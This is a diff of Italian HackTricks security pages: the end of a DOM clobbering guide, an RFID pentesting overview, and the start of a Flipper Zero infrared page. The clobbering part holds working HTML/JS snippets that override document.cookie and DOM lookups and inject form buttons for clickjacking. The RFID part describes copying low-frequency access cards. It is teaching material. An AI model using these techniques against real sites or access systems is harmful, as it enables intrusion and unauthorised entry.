Utilizzando questa tecnica, puoi sovrascrivere **valori comunemente usati come `document.cookie`, `document.body`, `document.children`**, e persino metodi nell'interfaccia Document come `document.querySelector`.
```javascript
document.write("<img name=cookie />")
@ -138,7 +141,7 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Scrittura dopo l'elemento clobbered
## Scrivere dopo l'elemento clobbered
I risultati delle chiamate a **`document.getElementById()`** e **`document.querySelector()`** possono essere alterati iniettando un tag `<html>` o `<body>` con un attributo id identico. Ecco come può essere fatto:
```html
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Inoltre, utilizzando stili per nascondere questi tag HTML/body iniettati, è possibile evitare interferenze da altri testi presenti in `innerText`, migliorando così l'efficacia dell'attacco:
Inoltre, utilizzando stili per nascondere questi tag HTML/body iniettati, si può prevenire l'interferenza di altro testo in `innerText`, migliorando così l'efficacia dell'attacco:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -162,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Le indagini su SVG hanno rivelato che anche un tag `<body>` può essere utilizzato in modo efficace:
Le indagini su SVG hanno rivelato che un tag `<body>` può essere utilizzato efficacemente:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +173,7 @@ Le indagini su SVG hanno rivelato che anche un tag `<body>` può essere utilizza
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Per far funzionare il tag HTML all'interno di SVG nei browser come Chrome e Firefox, è necessario utilizzare il tag `<foreignobject>`:
Per il tag HTML per funzionare all'interno di SVG in browser come Chrome e Firefox, è necessario un tag `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,9 @@ Per far funzionare il tag HTML all'interno di SVG nei browser come Chrome e Fire
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Sovrascrittura dei form
## Clobbering Forms
È possibile aggiungere **nuove voci all'interno di un form** semplicemente specificando l'attributo `form` all'interno di alcuni tag. Puoi utilizzare questo metodo per **aggiungere nuovi valori all'interno di un form** e persino per aggiungere un nuovo **pulsante** per **inviarlo** (clickjacking o sfruttando del codice JS `.click()`):
È possibile aggiungere **nuove voci all'interno di un modulo** semplicemente **specificando l'attributo `form`** all'interno di alcuni tag. Puoi usare questo per **aggiungere nuovi valori all'interno di un modulo** e persino aggiungere un **pulsante** per **inviarlo** (clickjacking o abusando di qualche codice JS `.click()`):
{% code overflow="wrap" %}
```html
@ -198,7 +201,7 @@ Click to send!
```
{% endcode %}
* Per ulteriori attributi di form in [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
* Per ulteriori attributi del modulo in [**pulsante controlla questo**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Riferimenti
@ -206,14 +209,17 @@ Click to send!
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript per hacker: Impara a pensare come un hacker.
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -1,101 +1,105 @@
# Pentesting RFID
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
## Introduzione
**Radio Frequency Identification (RFID)** è la soluzione radio a corto raggio più popolare. Di solito viene utilizzata per memorizzare e trasmettere informazioni che identificano un'entità.
**L'Identificazione a Radio Frequenza (RFID)** è la soluzione radio a corto raggio più popolare. Viene solitamente utilizzata per memorizzare e trasmettere informazioni che identificano un'entità.
Un tag RFID può fare affidamento sulla **propria fonte di alimentazione (attivo)**, come una batteria incorporata, o ricevere energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**).
Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attivo)**, come una batteria incorporata, o ricevere la sua energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**).
### Classi
EPCglobal divide i tag RFID in sei categorie. Un tag in ogni categoria ha tutte le capacità elencate nella categoria precedente, rendendolo retrocompatibile.
EPCglobal divide i tag RFID in sei categorie. Un tag in ciascuna categoria ha tutte le capacità elencate nella categoria precedente, rendendolo retrocompatibile.
* I tag **Classe 0** sono tag **passivi** che operano nelle bande **UHF**. Il fornitore li **preprogramma** in fabbrica. Di conseguenza, non è possibile **cambiare** le informazioni memorizzate nella loro memoria.
* I tag **Classe 1** possono anche operare nelle bande **HF**. Inoltre, possono essere **scritti solo una volta** dopo la produzione. Molti tag di Classe 1 possono anche elaborare **controlli di ridondanza ciclica** (CRC) dei comandi che ricevono. I CRC sono alcuni byte aggiuntivi alla fine dei comandi per il rilevamento degli errori.
* I tag **Classe 0** sono tag **passivi** che operano nelle bande **UHF**. Il fornitore **li preprogramma** nella fabbrica di produzione. Di conseguenza, **non puoi cambiare** le informazioni memorizzate nella loro memoria.
* I tag **Classe 1** possono anche operare nelle bande **HF**. Inoltre, possono essere **scritti solo una volta** dopo la produzione. Molti tag di Classe 1 possono anche elaborare **controlli di ridondanza ciclica** (CRC) dei comandi che ricevono. I CRC sono alcuni byte extra alla fine dei comandi per la rilevazione degli errori.
* I tag **Classe 2** possono essere **scritti più volte**.
* I tag **Classe 3** possono contenere **sensori incorporati** che possono registrare parametri ambientali, come la temperatura corrente o il movimento del tag. Questi tag sono **semipassivi**, perché sebbene abbiano una fonte di alimentazione incorporata, come una **batteria** integrata, non possono iniziare **comunicazioni** wireless con altri tag o lettori.
* I tag **Classe 4** possono avviare la comunicazione con altri tag della stessa classe, rendendoli **tag attivi**.
* I tag **Classe 5** possono fornire **alimentazione ad altri tag e comunicare con tutte le classi di tag precedenti**. I tag di Classe 5 possono fungere da **lettori RFID**.
* I tag **Classe 3** possono contenere **sensori incorporati** che possono registrare parametri ambientali, come la temperatura attuale o il movimento del tag. Questi tag sono **semi-passivi**, perché anche se **hanno** una fonte di alimentazione incorporata, come una **batteria** integrata, **non possono iniziare** comunicazioni wireless con altri tag o lettori.
* I tag **Classe 4** possono iniziare comunicazioni con altri tag della stessa classe, rendendoli **tag attivi**.
* I tag **Classe 5** possono fornire **energia ad altri tag e comunicare con tutte le classi di tag precedenti**. I tag di Classe 5 possono agire come **lettori RFID**.
### Informazioni memorizzate nei tag RFID
### Informazioni Memorizzate nei Tag RFID
La memoria di un tag RFID di solito memorizza quattro tipi di dati: i dati di **identificazione**, che **identificano** l'**entità** a cui è collegato il tag (questi dati includono campi definiti dall'utente, come conti bancari); i dati **supplementari**, che forniscono **ulteriori dettagli** relativi all'entità; i dati di **controllo**, utilizzati per la **configurazione** interna del tag; e i dati del produttore del tag, che contengono un Identificatore Unico (**UID**) del tag e dettagli relativi alla **produzione**, al **tipo** e al **fornitore** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono differire in base al fornitore del tag.
La memoria di un tag RFID di solito memorizza quattro tipi di dati: i **dati di identificazione**, che **identificano** l'**entità** a cui è attaccato il tag (questi dati includono campi definiti dall'utente, come conti bancari); i **dati supplementari**, che forniscono **ulteriori** **dettagli** riguardo all'entità; i **dati di controllo**, utilizzati per la **configurazione** interna del tag; e i **dati del produttore** del tag, che contengono un Identificatore Unico del tag (**UID**) e dettagli riguardanti la **produzione**, il **tipo** e il **fornitore** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono differire in base al fornitore del tag.
Lo standard ISO specifica il valore dell'Application Family Identifier (**AFI**), un codice che indica il **tipo di oggetto** a cui appartiene il tag. Un altro registro importante, specificato anche da ISO, è l'Identificatore del Formato di Archiviazione dei Dati (**DSFID**), che definisce l'**organizzazione logica dei dati dell'utente**.
Lo standard ISO specifica il valore dell'Identificatore della Famiglia di Applicazione (**AFI**), un codice che indica il **tipo di oggetto** a cui appartiene il tag. Un altro registro importante, anch'esso specificato dall'ISO, è l'Identificatore del Formato di Memorizzazione dei Dati (**DSFID**), che definisce la **organizzazione logica dei dati utente**.
La maggior parte dei **controlli di sicurezza** RFID ha meccanismi che **limitano** le operazioni di **lettura** o **scrittura** su ogni blocco di memoria dell'utente e sui registri speciali che contengono i valori AFI e DSFID. Questi **meccanismi di blocco** utilizzano dati memorizzati nella memoria di controllo e hanno **password preconfigurate** dal fornitore ma consentono ai proprietari del tag di **configurare password personalizzate**.
La maggior parte dei **controlli di sicurezza RFID** ha meccanismi che **limitano** le operazioni di **lettura** o **scrittura** su ciascun blocco di memoria utente e sui registri speciali contenenti i valori AFI e DSFID. Questi **meccanismi di blocco** utilizzano dati memorizzati nella memoria di controllo e hanno **password predefinite** preconfigurate dal fornitore, ma consentono ai proprietari del tag di **configurare password personalizzate**.
### Confronto tra tag a bassa e alta frequenza
### Confronto tra Tag a Bassa e Alta Frequenza
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## Tag RFID a bassa frequenza (125kHz)
## Tag RFID a Bassa Frequenza (125kHz)
I **tag a bassa frequenza** sono spesso utilizzati in sistemi che **non richiedono una grande sicurezza**: accesso agli edifici, chiavi per l'interfono, tessere per l'iscrizione in palestra, ecc. Grazie alla loro maggiore portata, sono comodi da utilizzare per il parcheggio a pagamento: il conducente non ha bisogno di avvicinare la tessera al lettore, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno un basso tasso di trasferimento dei dati. Per questo motivo, è impossibile implementare un complesso trasferimento bidirezionale dei dati per cose come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione.
I **tag a bassa frequenza** sono spesso utilizzati in sistemi che **non richiedono alta sicurezza**: accesso agli edifici, chiavi per citofoni, carte di abbonamento in palestra, ecc. A causa della loro maggiore portata, sono comodi da usare per il parcheggio a pagamento: il conducente non deve avvicinare la carta al lettore, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno una bassa velocità di trasferimento dati. Per questo motivo, è impossibile implementare un complesso trasferimento di dati bidirezionale per cose come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione.
Questi dispositivi si basano sulla tecnologia **RFID passiva** e operano in un **intervallo di frequenza compreso tra 30 kHz e 300 kHz**, anche se è più comune utilizzare 125 kHz a 134 kHz:
Questi dispositivi si basano sulla tecnologia **RFID passiva** e operano in un **intervallo di 30 kHz a 300 kHz**, anche se è più comune utilizzare 125 kHz a 134 kHz:
* **Lungo raggio** - una frequenza più bassa si traduce in una maggiore portata. Ci sono alcuni lettori EM-Marin e HID, che funzionano da una distanza fino a un metro. Questi sono spesso utilizzati nei parcheggi per auto.
* **Protocollo primitivo** - a causa del basso tasso di trasferimento dei dati, questi tag possono solo trasmettere il loro breve ID. Nella maggior parte dei casi, i dati non sono autenticati e non sono protetti in alcun modo. Non appena la carta è nell'intervallo del lettore, inizia semplicemente a trasmettere il suo ID.
* **Bassa sicurezza** - Queste carte possono essere facilmente copiate, o addirittura lette dalla tasca di qualcun altro a causa della primitività del protocollo.
* **Lunga distanza** — una frequenza più bassa si traduce in una maggiore portata. Ci sono alcuni lettori EM-Marin e HID, che funzionano da una distanza di fino a un metro. Questi sono spesso utilizzati nei parcheggi.
* **Protocollo primitivo** — a causa della bassa velocità di trasferimento dati, questi tag possono trasmettere solo il loro breve ID. Nella maggior parte dei casi, i dati non sono autenticati e non sono protetti in alcun modo. Non appena la carta è nel raggio del lettore, inizia semplicemente a trasmettere il suo ID.
* **Bassa sicurezza** — Queste carte possono essere facilmente copiate, o anche lette dalla tasca di qualcun altro a causa della primitività del protocollo.
**Protocolli popolari a 125 kHz:**
**Protocollo 125 kHz popolari:**
* **EM-Marin** - EM4100, EM4102. Il protocollo più popolare nella CSI. Può essere letto da circa un metro a causa della sua semplicità e stabilità.
* **HID Prox II** - protocollo a bassa frequenza introdotto da HID Global. Questo protocollo è più popolare nei paesi occidentali. È più complesso e le carte e i lettori per questo protocollo sono relativamente costosi.
* **Indala** - protocollo a bassa frequenza molto vecchio introdotto da Motorola, e successivamente acquisito da HID. È meno probabile incontrarlo in natura rispetto ai due precedenti perché sta cadendo in disuso.
* **EM-Marin** EM4100, EM4102. Il protocollo più popolare nella CIS. Può essere letto da circa un metro grazie alla sua semplicità e stabilità.
* **HID Prox II** protocollo a bassa frequenza introdotto da HID Global. Questo protocollo è più popolare nei paesi occidentali. È più complesso e le carte e i lettori per questo protocollo sono relativamente costosi.
* **Indala** protocollo a bassa frequenza molto vecchio introdotto da Motorola, e successivamente acquisito da HID. È meno probabile che tu lo incontri nel mondo reale rispetto ai precedenti due perché sta cadendo in disuso.
In realtà, ci sono molti altri protocolli a bassa frequenza. Ma tutti utilizzano la stessa modulazione sul livello fisico e possono essere considerati, in un modo o nell'altro, una variazione di quelli elencati sopra.
In realtà, ci sono molti più protocolli a bassa frequenza. Ma utilizzano tutti la stessa modulazione sul livello fisico e possono essere considerati, in un modo o nell'altro, una variazione di quelli elencati sopra.
### Attacco
Puoi **attaccare questi tag con il Flipper Zero**:
Puoi **attaccare questi Tag con il Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## Tag RFID ad alta frequenza (13,56 MHz)
I tag ad alta frequenza vengono utilizzati per un'interazione più complessa tra lettore e tag quando è necessaria la crittografia, un'ampia trasmissione bidirezionale dei dati, l'autenticazione, ecc.\
Di solito si trovano nelle carte bancarie, nei trasporti pubblici e in altri passaggi sicuri.
## Tag RFID ad Alta Frequenza (13.56 MHz)
I tag ad alta frequenza a 13,56 MHz sono un insieme di standard e protocolli. Solitamente vengono chiamati [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ma non è sempre corretto. Il set di protocolli di base utilizzato a livello fisico e logico è ISO 14443. I protocolli di alto livello, così come gli standard alternativi (come ISO 19092), si basano su di esso. Molte persone si riferiscono a questa tecnologia come **Near Field Communication (NFC)**, un termine per dispositivi che operano sulla frequenza di 13,56 MHz.
I **tag ad alta frequenza** sono utilizzati per un'interazione più complessa tra lettore e tag quando hai bisogno di crittografia, un ampio trasferimento di dati bidirezionale, autenticazione, ecc.\
Si trovano solitamente in carte bancarie, trasporti pubblici e altri passaggi sicuri.
I **tag ad alta frequenza da 13.56 MHz sono un insieme di standard e protocolli**. Vengono solitamente chiamati [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ma non è sempre corretto. L'insieme di protocolli di base utilizzato a livello fisico e logico è ISO 14443. I protocolli di alto livello, così come standard alternativi (come ISO 19092), si basano su di esso. Molte persone si riferiscono a questa tecnologia come **Comunicazione a Campo Vicino (NFC)**, un termine per dispositivi che operano sulla frequenza di 13.56 MHz.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Per metterla semplice, l'architettura NFC funziona così: il protocollo di trasmissione viene scelto dall'azienda che produce le carte e implementato sulla base del protocollo ISO 14443 a basso livello. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A.
Per dirla semplicemente, l'architettura NFC funziona così: il protocollo di trasmissione è scelto dall'azienda che produce le carte e implementato sulla base del livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A.
Flipper può interagire sia con il protocollo ISO 14443 a basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere il supporto per Mifare Classic e NFC NDEF. Uno sguardo approfondito ai protocolli e agli standard che compongono NFC merita un articolo separato che pianifichiamo di pubblicare in seguito.
Flipper può interagire sia con il protocollo ISO 14443 a basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono l'NFC merita un articolo separato che prevediamo di pubblicare in seguito.
Tutte le carte ad alta frequenza basate sullo standard ISO 14443-A hanno un ID chip univoco. Funziona come il numero di serie della carta, come l'indirizzo MAC di una scheda di rete. Di solito, l'UID è lungo 4 o 7 byte, ma può raramente arrivare fino a 10. Gli UID non sono un segreto e sono facilmente leggibili, a volte sono persino stampati sulla carta stessa.
Tutte le carte ad alta frequenza basate sullo standard ISO 14443-A hanno un ID chip unico. Funziona come il numero di serie della carta, come l'indirizzo MAC di una scheda di rete. **Di solito, l'UID è lungo 4 o 7 byte**, ma può raramente arrivare **fino a 10**. Gli UID non sono un segreto e sono facilmente leggibili, **a volte anche stampati sulla carta stessa**.
Ci sono molti sistemi di controllo degli accessi che si basano sull'UID per autenticare e concedere l'accesso. A volte ciò accade anche quando i tag RFID supportano la crittografia. Un tale uso improprio li porta allo stesso livello delle carte a 125 kHz in termini di sicurezza. Le carte virtuali (come Apple Pay) utilizzano un UID dinamico in modo che i proprietari del telefono non aprano le porte con l'app di pagamento.
Ci sono molti sistemi di controllo accessi che si basano sull'UID per **autenticare e concedere accesso**. A volte questo avviene **anche** quando i tag RFID **supportano la crittografia**. Tale **uso improprio** li riduce al livello delle stupide **carte da 125 kHz** in termini di **sicurezza**. Le carte virtuali (come Apple Pay) utilizzano un UID dinamico in modo che i proprietari dei telefoni non possano aprire porte con la loro app di pagamento.
* **Bassa portata** - le carte ad alta frequenza sono progettate appositamente in modo che debbano essere posizionate vicino al lettore. Ciò aiuta anche a proteggere la carta da interazioni non autorizzate. La massima distanza di lettura che siamo riusciti a raggiungere è stata di circa 15 cm, e ciò è stato fatto con lettori ad alta portata personalizzati.
* **Protocolli avanzati** - velocità di trasferimento dati fino a 424 kbps consentono protocolli complessi con trasferimento bidirezionale completo. Ciò a sua volta consente la crittografia, il trasferimento dei dati, ecc.
* **Alta sicurezza** - le carte senza contatto ad alta frequenza non sono in alcun modo inferiori alle smart card. Ci sono carte che supportano algoritmi crittograficamente forti come AES e implementano la crittografia asimmetrica.
* **Bassa portata** — le carte ad alta frequenza sono specificamente progettate per essere posizionate vicino al lettore. Questo aiuta anche a proteggere la carta da interazioni non autorizzate. La massima distanza di lettura che siamo riusciti a raggiungere è stata di circa 15 cm, e questo è stato con lettori ad alta portata realizzati su misura.
* **Protocolli avanzati** — velocità di trasferimento dati fino a 424 kbps consentono protocolli complessi con trasferimento di dati bidirezionale completo. Che a sua volta **consente la crittografia**, il trasferimento di dati, ecc.
* **Alta sicurezza** — le carte contactless ad alta frequenza non sono in alcun modo inferiori alle smart card. Ci sono carte che supportano algoritmi crittografici robusti come AES e implementano crittografia asimmetrica.
### Attacco
Puoi attaccare questi tag con Flipper Zero:
Puoi **attaccare questi Tag con il Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
{% endcontent-ref %}
O utilizzando il **proxmark**:
Oppure usando il **proxmark**:
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
@ -105,14 +109,17 @@ O utilizzando il **proxmark**:
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# FZ - Infrarossi
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
## Introduzione <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
@ -20,29 +23,44 @@ Per ulteriori informazioni su come funziona l'infrarosso, controlla:
[infrared.md](../infrared.md)
{% endcontent-ref %}
## Ricevitore Segnale IR in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## Ricevitore di segnale IR in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Flipper utilizza un ricevitore di segnale IR digitale TSOP, che **consente di intercettare segnali dai telecomandi IR**. Ci sono alcuni **smartphone** come Xiaomi, che hanno anche una porta IR, ma tieni presente che **la maggior parte di essi può solo trasmettere** segnali e non è in grado di riceverli.
Flipper utilizza un ricevitore di segnale IR digitale TSOP, che **consente di intercettare segnali da telecomandi IR**. Ci sono alcuni **smartphone** come Xiaomi, che hanno anche una porta IR, ma tieni presente che **la maggior parte di essi può solo trasmettere** segnali e non è **in grado di riceverli**.
Il ricevitore infrarosso di Flipper è piuttosto sensibile. Puoi anche **catturare il segnale** rimanendo **in mezzo** al telecomando e alla TV. Puntare direttamente il telecomando verso la porta IR di Flipper è superfluo. Questo è utile quando qualcuno sta cambiando canale stando vicino alla TV, e sia tu che Flipper siete a distanza.
